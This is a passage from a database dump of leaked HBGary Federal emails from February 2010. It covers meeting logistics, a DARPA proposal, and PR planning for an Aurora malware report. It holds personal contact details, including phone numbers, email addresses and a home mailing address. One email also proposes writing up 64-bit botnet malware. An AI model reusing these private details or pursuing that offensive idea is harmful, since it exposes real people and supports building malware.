Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Monday, February 08, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where: 866-765-5631, code 5057292#*~*~*~*~*~*~*~*~*~*General Dynamics &amp; HBGary Federal (discussion continues)866-765-5631, code 5057292#Questions?Contact:Chris StarrCell: 571-216-6140Chris.Starr@gd-ais.com HBGary Federal:Aaron Barr, CEO,&nbsp; Aaron@hbgary.com , 719-510-8478Ted Vera, COO and President, Ted@hbgary.com HBGary:Greg Hoglund, CEO and Founder, Greg@hbgary.com Bob Slapnik, Vice President of Government Sales, Bob@hbgary.com General Dynamics:Jim Jaeger, Jim.Jaeger@gd-ais.com Chris Starr, Chris.Starr@gd-ais.com, 571-216-6140Doug Harlow, Douglas.Harlow@gd-ais.com Jason Upchurch, Jason.Upchurch@gd-ais.com \r\n\r\n\r\n&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3500,'aaron_hbgary_com/3500.html'),(2175,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000982.M984810P3547Q2175.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Fidelis Security Systems and HB Gary','I can do either.On Feb 8, 2010, at 10:41 AM, Penny Leavy-Hoglund wrote:Do any of these dates work for you?&nbsp; Wednesday/Thursday works for RIch&nbsp;From:&nbsp;Etue, David [mailto:david.etue@fidelissecurity.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 7:31 AMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;RE: Fidelis Security Systems and HB Gary&nbsp;If we can do it in person, I think it would be better.&nbsp; If not, we could do a webinar today at the scheduled time.&nbsp;For in person, this week we could do:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wednesday, 3 PM or later·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thursday afternoon, 1 PM or later·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Friday:&nbsp; anytime besides 1-2 PM&nbsp;Thanks!David&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 10:22 AMTo:&nbsp;Etue, DavidSubject:&nbsp;RE: Fidelis Security Systems and HB Gary&nbsp;Hey David,&nbsp;I think everyone is in your situation.&nbsp; Greg and I could not get out so we are still back in CA.&nbsp; Do you want to reschedule for later this week?&nbsp;From:&nbsp;Etue, David [mailto:david.etue@fidelissecurity.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 5:53 AMTo:&nbsp;Penny HoglundSubject:&nbsp;RE: Fidelis Security Systems and HB GaryImportance:&nbsp;High&nbsp;Penny,Do you know how the weather is treating your local team and the impact on today’s meeting?&nbsp; Most of our team is stuck at home (myself included), but might be able to get in this afternoon.David-----Original Appointment-----From:&nbsp;Etue, DavidSent:&nbsp;Monday, February 01, 2010 6:23 PMTo:&nbsp;\' Penny Hoglund\'; Sullivan, Mary; Mancini, Jerry; Belan, Michael; Bertone, Kurt; Stein, Tami; Penny HoglundSubject:&nbsp;Fidelis Security Systems and HB GaryWhen:&nbsp;Monday, February 08, 2010 3:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where:&nbsp;Training Conference Room (4416 East West Hwy, Suite 310, Bethesda, MD 20814)Directions -&nbsp;http://www.fidelissecurity.com/data-leakage-protection-contact/directions-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Each company to provide quick presentation and demo-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Discuss existing customer use case around fingerprint malware loader/packer-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Indentify other potential joint solution use cases for partnership opportunityPenny – can you forward to the team there?Thanks!David\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5074,'aaron_hbgary_com/5074.html'),(2176,'2010-02-08','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297000983.M210347P3547Q2176.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: General Dynamics & HBGary Federal (discussion continues)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nIf ok with you, I&#8217;d like to keep our 3 PM Eastern call, so\r\nwe can share with you the state of our research ideas and we can also talk\r\nabout the next best time to meet.&nbsp; If better with you, we can keep the\r\nmeeting short.\r\n\r\n&nbsp;\r\n\r\nI did make it to our GD Crystal City location today and everyone\r\nelse at our other locations in the Washington area are working on location or from\r\nhome.&nbsp; Quite a weekend.&nbsp; I&#8217;ve never seen so much snow in this\r\narea. \r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 10:58 AM\r\nTo: Starr, Christopher H.\r\nCc: Bob Slapnik; Ted Vera\r\nSubject: Re: General Dynamics &amp; HBGary Federal (discussion\r\ncontinues)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe had to waive off our meeting with Sparta this morning,\r\nand with all the snow creating some chaos we haven\'t completely formulated our\r\nposition yet. &nbsp;Do you still want to talk this afternoon, or want to\r\npostpone until later in the week? &nbsp;More snow to come tomorrow and\r\nwednesday I hear. &nbsp;I am guessing the proposers day will be called off as\r\nwell. &nbsp;The ONR industry day for the 10th has already been called off.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:49 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Monday, February 08,\r\n2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code\r\n5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGeneral Dynamics &amp;\r\nHBGary Federal (discussion continues)\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nQuestions?\r\n\r\nContact:\r\n\r\nChris Starr\r\n\r\nCell:\r\n571-216-6140\r\n\r\nChris.Starr@gd-ais.com \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHBGary Federal:\r\n\r\nAaron Barr, CEO,&nbsp;\r\nAaron@hbgary.com , 719-510-8478\r\n\r\nTed Vera, COO and\r\nPresident, Ted@hbgary.com\r\n\r\n\r\nHBGary:\r\n\r\nGreg Hoglund, CEO and\r\nFounder, Greg@hbgary.com \r\n\r\nBob Slapnik, Vice President\r\nof Government Sales, Bob@hbgary.com \r\n\r\nGeneral Dynamics:\r\n\r\nJim Jaeger, Jim.Jaeger@gd-ais.com\r\n\r\n\r\nChris Starr, Chris.Starr@gd-ais.com, 571-216-6140\r\n\r\nDoug Harlow, Douglas.Harlow@gd-ais.com \r\n\r\nJason Upchurch, Jason.Upchurch@gd-ais.com \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10670,'aaron_hbgary_com/10670.html'),(2177,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000983.M509798P3547Q2177.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,','Re: General Dynamics & HBGary Federal (discussion continues)','sounds good.On Feb 8, 2010, at 11:22 AM, Starr, Christopher H. wrote:Aaron,&nbsp;If ok with you, I’d like to keep our 3 PM Eastern call, so we can share with you the state of our research ideas and we can also talk about the next best time to meet.&nbsp; If better with you, we can keep the meeting short.&nbsp;I did make it to our GD Crystal City location today and everyone else at our other locations in the Washington area are working on location or from home.&nbsp; Quite a weekend.&nbsp; I’ve never seen so much snow in this area.&nbsp;Chris&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 10:58 AMTo:&nbsp;Starr, Christopher H.Cc:&nbsp;Bob Slapnik; Ted VeraSubject:&nbsp;Re: General Dynamics &amp; HBGary Federal (discussion continues)&nbsp;Chris,&nbsp;We had to waive off our meeting with Sparta this morning, and with all the snow creating some chaos we haven\'t completely formulated our position yet. &nbsp;Do you still want to talk this afternoon, or want to postpone until later in the week? &nbsp;More snow to come tomorrow and wednesday I hear. &nbsp;I am guessing the proposers day will be called off as well. &nbsp;The ONR industry day for the 10th has already been called off.&nbsp;Aaron&nbsp;&nbsp;On Feb 8, 2010, at 4:49 AM, Starr, Christopher H. wrote:When: Monday, February 08, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where: 866-765-5631, code 5057292#*~*~*~*~*~*~*~*~*~*General Dynamics &amp; HBGary Federal (discussion continues)866-765-5631, code 5057292#&nbsp;Questions?Contact:Chris StarrCell:&nbsp;571-216-6140Chris.Starr@gd-ais.com&nbsp;&nbsp;HBGary Federal:Aaron Barr, CEO,&nbsp;&nbsp;Aaron@hbgary.com&nbsp;, 719-510-8478Ted Vera, COO and President,&nbsp;Ted@hbgary.comHBGary:Greg Hoglund, CEO and Founder,&nbsp;Greg@hbgary.comBob Slapnik, Vice President of Government Sales,&nbsp;Bob@hbgary.comGeneral Dynamics:Jim Jaeger,&nbsp;Jim.Jaeger@gd-ais.comChris Starr,&nbsp;Chris.Starr@gd-ais.com, 571-216-6140Doug Harlow,&nbsp;Douglas.Harlow@gd-ais.comJason Upchurch,&nbsp;Jason.Upchurch@gd-ais.com&nbsp;&nbsp;&lt;meeting.ics&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1011,'aaron_hbgary_com/1011.html'),(2178,'2010-02-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000983.M701142P3547Q2178.eml','\"Aaron Barr\" <aaron@hbgary.com>','DARPA and insider threat','Aaron,\r\n \r\nOne of the DARPA topics speaks of insider threats.  This is the specialty of Raytheon Oakley Networks.  They have both commercial software and classified s/w,  HBGary has been in early stage dialogue with them about integrating DDNA into their enterprise system.\r\n\r\n \r\nI am not proposing anything.  This is just FYI.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',8718,'aaron_hbgary_com/8718.html'),(2179,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000983.M924588P3547Q2179.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','THoughts on DARPA SOW','If you could look at the 3 technical areas and send me a few sentences on approach. &nbsp;I am going down a certain path and want to make sure I am not missing something important. &nbsp;How would you approach this?1.1.3.1&nbsp; Technical Area One: Cyber Genetics&nbsp;This technical area will identify the lineage and provenance of digital artifacts from the properties and behavior of the digital artifacts.&nbsp; Performers will develop automated technologies to gain a revolutionary understanding of the relationships between the elements of a set of artifacts, or to place artifacts into performer-defined categories.&nbsp;Examples of revolutionary technologies include but are not limited to:\r\n\r\nCreation of lineage trees for a class of digital artifacts to gain a better understanding of software evolution.\r\nIdentification and categorization of new variants of previously seen digital artifacts to reduce the threat of new “zero-day” attacks that are variants of previously seen attacks.&nbsp;\r\nDetermination or characterization of digital artifact developers or development environments to aid in software and/or malware attribution.\r\n1.1.3.2&nbsp; Technical Area Two: Cyber Anthropology and SociologyThis technical area will investigate the social relationships between artifacts, binaries, and/or users.&nbsp; Performers will develop automated technologies to gain a revolutionary understanding of the interactions between user, software, and/or other elements on a system or systems.&nbsp;Examples of revolutionary technologies include but are not limited to:\r\n\r\nIdentification and/or validation of DoD users from their host and/or network behavior. &nbsp; “Something you do” may augment existing identification and/or authentication technologies to discover “insiders” within DoD networks with malicious goals or objectives.\r\n1.1.3.3&nbsp; Technical Area Three: Cyber PhysiologyThis technical area will investigate automated analysis and visualization of computer binary (machine language) functionality and behaviors (reverse engineering). Performers will develop technologies to conduct automated analysis of binary software of interest to assist analysts in understanding the software’s function and intent.Examples of revolutionary technologies include but are not limited to:\r\n\r\nAutomatically generated execution trees from submitted malware that include automated analysis of software dependencies.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16402,'aaron_hbgary_com/16402.html'),(2180,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000984.M109545P3547Q2180.eml','\"Ted Vera\" <ted@hbgary.com>','Two Whitepaper','I think at some point we have to write two whitepapers.\r\n\r\nOne to re-utilize rootkit.com\r\n\r\nThe other to build 64-bit botnet malware.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1198,'aaron_hbgary_com/1198.html'),(2181,'2010-02-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000984.M367692P3547Q2181.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Check','USPS tracking 03091140000212417698\r\n\r\nPriorty mail from 80817\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 8:07 AM, Aaron Barr  wrote:\r\n\r\n> 1223 Potomac school rd.\r\n> McLean va 22101\r\n>\r\n> From my iPhone\r\n>\r\n> On Feb 8, 2010, at 9:59 AM, Ted Vera  wrote:\r\n>\r\n>> What\'s your mailing address?\r\n',5328,'aaron_hbgary_com/5328.html'),(2182,'2010-02-08','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000984.M561006P3547Q2182.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: The HBGary report timeline','aaron,\r\n\r\nI am happy to discuss with you. Our approach to this market is not based on public disclosures, PR and other marketing. We\'ve been most effective with private sessions, restricted whitepapers and \"word of mouth\" within our customer/target market. I don\'t see this changing anytime soon. As such, we\'re very interested to work with you, but it needs to remain at a discrete level. Our company\'s name needs to stay out of the public domain and we don\'t want to be attributed for our research in public forums.\r\n\r\nfor now, let\'s focus on:\r\n1. OSI RFP response - dan ingevaldson and I will work with you on this\r\n2. EGS/Palantir integration - we talked to Matt Steckman last week and we\'re looking into next steps on this\r\n3. customer briefings and new business opportunities like ARSTRAT, etc.\r\n\r\nOnce we\'ve had this opportunity to define the working relationship, I think you will have a better understanding of our strategy and perhaps develop alternative approaches to the market. \r\n\r\nthanks very much\r\njohn\r\n\r\nOn Feb 7, 2010, at 2:03 PM, Aaron Barr wrote:\r\n\r\n> Dino,\r\n> \r\n> Understand.  We weren\'t sure if there is some subset of data that you could contribute for a broader release, and having not seen the specific data, wasn\'t sure how sensitive it was.\r\n> \r\n> Talk with Chris but maybe there is an agreed upon list of customers we can distribute to for a more complete report?  I know we are going to talk to some senior folks in Maryland in a few weeks and would very much like to take a combined Endgame/Palantir/HBGary product.\r\n> \r\n> We were hoping to get a public report out that focused on actionable intelligence for a broader audience along with an inoculation shot.  Being very careful as to the sources or methods of acquiring the data.  This report would hopefully demonstrate the benefit of looking at combating the threat much differently.\r\n> \r\n> I will work to set up a technical discussion sometime next week so we can all get on the phone and talk about how we can collaborate, boundaries, etc... all for the betterment of mankind. :)\r\n> \r\n> Aaron\r\n> \r\n> On Feb 7, 2010, at 1:10 PM, Dino Dai Zovi wrote:\r\n> \r\n>> Hi Greg,\r\n>> \r\n>> We were unaware that the report was intended for public distribution and cannot contribute to it at this time. \r\n>> \r\n>> Let\'s pick up the discussion later about Responder and REcon b/c I think those would be very interesting to check out.\r\n>> \r\n>> Cheers,\r\n>> \r\n>> -Dino\r\n>> \r\n>> On Feb 5, 2010, at 2:29 PM, Greg Hoglund wrote:\r\n>> \r\n>>> \r\n>>> Dino, Aaron,\r\n>>> \r\n>>> The report, while I like it, does not move the story forward.  Almost all of the data has been reported in other blogs, etc.  Because of that, we initally had not planned to make press about it.  However, I am hoping that Endgames can bring some fresh threat intelligence to the table that hasn\'t been made public yet.  Also, HBGary has created an \'innoculation shot\' (a small signed exe utility) that will scan for and remove hydraq variants from the Enterprise - we are going to release that for free download with the report (that should drive a huge number of hits and downloads). I am on the phone right now w/ our PR (Karen), and assuming we can move the story forward somehow, she wants to schedule a webinar for Wednesday next week where we present the report.  The report will need to be final on Monday the 8th for this to work (because we need to pre-release it to the reporters). If we can\'t make that, it will have to bump to the following week (story can break monday 15th). \r\n>>> \r\n>>> Cheers,\r\n>>> -Greg\r\n>>> \r\n>>> ps. Dino, you have probably already done this yourself, but after we RE\'d the protocol, we wrote a stand-in C&C server that will communicate to the aurora malware, and we are able to command it / drive it, etc.  I am willing to share all of our internal RE research with you.  And, we should outfit you w/ Responder and REcon - I think you will especially love REcon.\r\n>>> \r\n>>> pss. I am still working on ways to integrate some link analysis w/ Palantir into the report, and hoping that some of the Endgames data will provide some datapoints I can port over to a Palantir investigation.  I want to highlight our partners as much as possible, so this benefits Endgames, Palantir, and HBGary combined.\r\n>>> \r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nJohn M Farrell\r\nVP Federal \r\nEndgame Systems\r\n75 5th Street Suite 208\r\nAtlanta, GA 30308\r\njohn@endgames.us\r\n\r\n\r\n\r\n',795,'aaron_hbgary_com/795.html'),(2183,'2010-02-08','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000984.M764544P3547Q2183.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Aurora report, almost final draft','This is great, Aaron. Thanks. If report is now final, Greg, can you please save as \"FINAL\" and send me final copy? I\'d like to start pitching press and send under embargo with a release on Wedn. Feb. 10th at 8 AM PT/11 AM ET.&nbsp; Would you both be available to do prebriefs on the report the next few days and a possible Webinar on report on Wedn -- 10&nbsp;AM PT/1 PM ET? Again, the idea is that we would break news ahead of Webinar and open Webinar to public -- as well as any remaining press interested. &nbsp;&nbsp;&nbsp;&nbsp;--- On Mon, 2/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Aurora report, almost final draftTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, \"Rich Cummings\" &lt;rich@hbgary.com&gt;Date: Monday, February 8, 2010, 5:42 AM\r\nKaren, \r\n\r\n1. Complete, Concise, actionable information (when I say complete I don\'t mean we have all the information but we cover all the different factors of the operation).\r\n2. &nbsp;Delivering operational intelligence rather than just specifics on Malware.\r\n3. &nbsp;Provides enough information to help organizations protect themselves today and aid them in protecting themselves tomorrow.\r\n\r\nWhat do I mean by the above bullets. &nbsp;The report deals with the operation in total. &nbsp;Providing information on the malware, actors, communications, intent. &nbsp;And it provides this information quickly in a form that is easily digestible by organizations and security professionals. &nbsp;Most of the other malware reports focus on a particular part of the malware and/or go way down into the weeds of its execution. &nbsp;This is great information but unnecessary when your job is just to stop the malware from being successful. &nbsp;Because we deliver information on all of the different aspects of the operation it gives security professionals more information to use to protect their systems. &nbsp;As we know malware evolves...rapidly. &nbsp;The more information you have the more easily you will be able to detect existing and evolving threats.\r\n\r\nIs this good?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Feb 7, 2010, at 7:44 PM, Greg Hoglund wrote:\r\n\r\n&nbsp;\r\nKaren,\r\n&nbsp;\r\nThe tech herald article you mention is actually referenced in the report itself, and you will find this on page one along w/ the mention of Peng Yong.\r\n&nbsp;\r\nThe other companies mentioned were obtained from searching google news.&nbsp; I don\'t have the exact reference but could probably find it again if you think it\'s needed.\r\n&nbsp;\r\nIn terms of the inoculator, it merely falls into \'defense in depth\'&nbsp; - maybe the AV missed it, or maybe the AV was disabled by the attackers, etc.&nbsp; \r\n&nbsp;\r\nOn the three short bullet points, Aaron can you please do those?&nbsp; Since we talked last night it seemed you could describe a conscise value proposition for the report.\r\n&nbsp;\r\nI will remove verdasys until further notice.&nbsp; Encase has already been removed, as we can\'t get the software to work well enough to get a screenshot lolz.\r\n&nbsp;\r\n-Greg\r\nOn Sun, Feb 7, 2010 at 4:16 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nJust to clarify -- the bulletpoints are for pitching purposes -- you don\'t have to put them in the report itself.&nbsp;--- On Sun, 2/7/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: Aurora report, almost final draftTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, rich@hbgary.com, \"Greg Hoglund\" &lt;greg@hbgary.com&gt;Date: Sunday, February 7, 2010, 4:14 PM \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Greg, Here are my comments/questions about the report:\r\n&nbsp;\r\nEssentially, report seems to support this recent article that there isn\'t direct evidence tying Google hack to Chinese government. \r\nhttp://www.thetechherald.com/article.php/201004/5151/Was-Operation-Aurora-nothing-more-than-a-conventional-attack?page=1\r\n&nbsp;\r\nIntro: Change any references to \"he\" to \"individual\" -- keep it gender neutral\r\n&nbsp;\r\nOther Google attack publically speculated&nbsp;companies: Just want to be sure Dow Chemical, etc. have all been publicly discussed -- that we&nbsp;aren\'t ID\'ing anyone new here.&nbsp;\r\n&nbsp;\r\nVerdasys/Encase: We haven\'t announced integration with either company yet. We were planning to announce Encase&nbsp;by end of month so not sure about discussing here. Also, not sure we need to include Verdasys boilerplate. Penny?\r\n&nbsp;\r\nInoculation: Will user need to be an HBGary customer to download and inoculate against Aurora malware?&nbsp; You\'re right -- A/Vs already have signature available. What is benefit of HBGary\'s approach --&nbsp;in addition to protecting against this Aurora malware,&nbsp;we can also help enterprises to detect and protect against&nbsp;variants of this malware?&nbsp;\r\n&nbsp;\r\nReport value: Please provide three short bullet points that&nbsp;highlight&nbsp;report\'s&nbsp;value to industry, to customers\r\n&nbsp;\r\nJavaScript -- still a few areas where \"S\" needs to be capped\r\n&nbsp;\r\nAdd HBGary Website (http://www.hbgary.com) under \"About HBGary, Inc.\"&nbsp;\r\n&nbsp;\r\nAs I mentioned, I\'d like to share the report under embargo with a few reporters before we publish and then issue press release announcing report -- and inoculation&nbsp;-- on publication date followed by Webinar to discuss report. Webinar would be open to public.\r\n--- On Sun, 2/7/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Aurora report, almost final draftTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, rich@hbgary.comDate: Sunday, February 7, 2010, 3:36 PM\r\n\r\n&nbsp;\r\nThe attached version has all the sections and text that I am planning on putting in the report.&nbsp; This is a last chance to sweep thru the document.\r\n&nbsp;\r\n-Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',13501,'aaron_hbgary_com/13501.html'),(2184,'2010-02-08','\"Etue, David\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000984.M973531P3547Q2184.eml','\"Aaron Barr\" <aaron@hbgary.com>,rich@hbgary.com','FW: Fidelis Security Systems and HB Gary','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=TRUE:mailto:aaron@hbgary.com\r\nATTENDEE;CN=;RSVP=TRUE:mailto:rich@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20100208T182350Z\r\nDESCRIPTION:When: Wednesday\\, February 10\\, 2010 12:00 PM-2:00 PM (UTC-08:0\r\n	0) Pacific Time (US & Canada).\\nWhere: Training Conference Room (4416 East\r\n	 West Hwy\\, Suite 310\\, Bethesda\\, MD 20814)\\n\\nNote: The GMT offset above\r\n	 does not reflect daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\r\n	\\n\\nCan you make it?  This is close to Aaron\\, Rich not sure if you want t\r\n	o go in for this\\, your call\\, but you’d need to be on the phone  \\n\\n--\r\n	---Original Appointment-----\\nFrom: Etue\\, David \\nSent: Monday\\, February\r\n	 08\\, 2010 10:14 AM\\nTo: Etue\\, David\\; Penny Hoglund\\; Sullivan\\, Mary\\; \r\n	Mancini\\, Jerry\\; Belan\\, Michael\\; Bertone\\, Kurt\\; Stein\\, Tami\\nSubject\r\n	: Fidelis Security Systems and HB Gary\\nWhen: Wednesday\\, February 10\\, 20\r\n	10 12:00 PM-2:00 PM (UTC-08:00) Pacific Time (US & Canada).\\nWhere: Traini\r\n	ng Conference Room (4416 East West Hwy\\, Suite 310\\, Bethesda\\, MD 20814)\\\r\n	n\\n\\nDoes this new time work?  Not sure of people’s travel schedules\\, o\r\n	r what will happen with the upcoming storm on Tuesday.  1-3 PM Thursday ma\r\n	y also be an option.  \\n\\nDavid\\n\\nDirections - http://www.fidelissecurity\r\n	.com/data-leakage-protection-contact/directions\\n\\n-       Each company to\r\n	 provide quick presentation and demo\\n\\n-       Discuss existing customer \r\n	use case around fingerprint malware loader/packer\\n\\n-       Indentify oth\r\n	er potential joint solution use cases for partnership opportunity\\n\\nPenny\r\n	 – can you forward to the team there?\\n\\nThanks!\\nDavid\\n\\n\r\nDTEND:20100210T220000Z\r\nDTSTAMP:20100208T181328Z\r\nDTSTART:20100210T200000Z\r\nLAST-MODIFIED:20100208T182422Z\r\nLOCATION:Training Conference Room (4416 East West Hwy\\, Suite 310\\, Bethesd\r\n	a\\, MD 20814)\r\nORGANIZER;CN=\"Etue, David\":mailto:david.etue@fidelissecurity.com\r\nPRIORITY:5\r\nSEQUENCE:1\r\nSUMMARY;LANGUAGE=en-us:FW: Fidelis Security Systems and HB Gary\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E008000000009073C6B75EA3CA01000000000000000\r\n	010000000DB72D71039538E419D691165FEF0F648\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Wednesday\\, February 10\\, 2010 12:00 PM-2:00 PM (UTC-08:00) Paci\r\n	fic Time (US &amp\\; Canada).\\n\\nWhere: Training Conference Room (4416 East West\r\n	 Hwy\\, Suite 310\\, Bethesda\\, MD 20814)\\n\\nNote: The GMT offset above does not \r\n	reflect daylight saving time adjustments.\\n\\n\r\n	*~*~*~*~*~*~*~*~*~*\\n\\nCan you make it?&nbsp\\; This is close to Aaron\\,\r\n	 Rich not sure if you want to go in for this\\, your call\\, but you’d nee\r\n	d to be on the phone&nbsp\\; \\n\\n\\n\\n-----Original \r\n	Appointment-----\\nFrom: Etue\\, David\\nSent: Monday\\, February 08\\, 2010 10:14 AM\\nTo: Etue\\, David\\; Penny Hoglund\\; Sullivan\\, Mary\\; Mancin\r\n	i\\, Jerry\\; Belan\\, Michael\\; Bertone\\, Kurt\\; Stein\\, Tami\\nSubject: Fidelis Security Systems and HB Gary\\nWhen: Wednesday\\, February 10\\, 2010 12:00 PM-2:00 PM (UTC-0\r\n	8:00) Pacific Time (US &amp\\; Canada).\\nWhere: \r\n	Training Conference Room (4416 East West Hwy\\, Suite 310\\, Bethesda\\, MD 2\r\n	0814)\\n\\n\\n\\nDoes this new time work?  Not sure of people’s travel schedules\\, or w\r\n	hat will happen with the upcoming storm on Tuesday.  1-3 PM Thursday may \r\n	also be an option.  \\n\\nDavid\\n\\nDirections - \r\n	http://www.fidelissecurity.com/dat\r\n	a-leakage-protection-contact/directions\\n\\n-      \r\n	 Each company to provide quick presentation and demo\\n\\n-       Discuss existi\r\n	ng customer use case around fingerprint malware loader/packer\\n\\n-       Indentif\r\n	y other potential joint solution use cases for partnership opportunity\\n\\nPenny – can you forward to the team 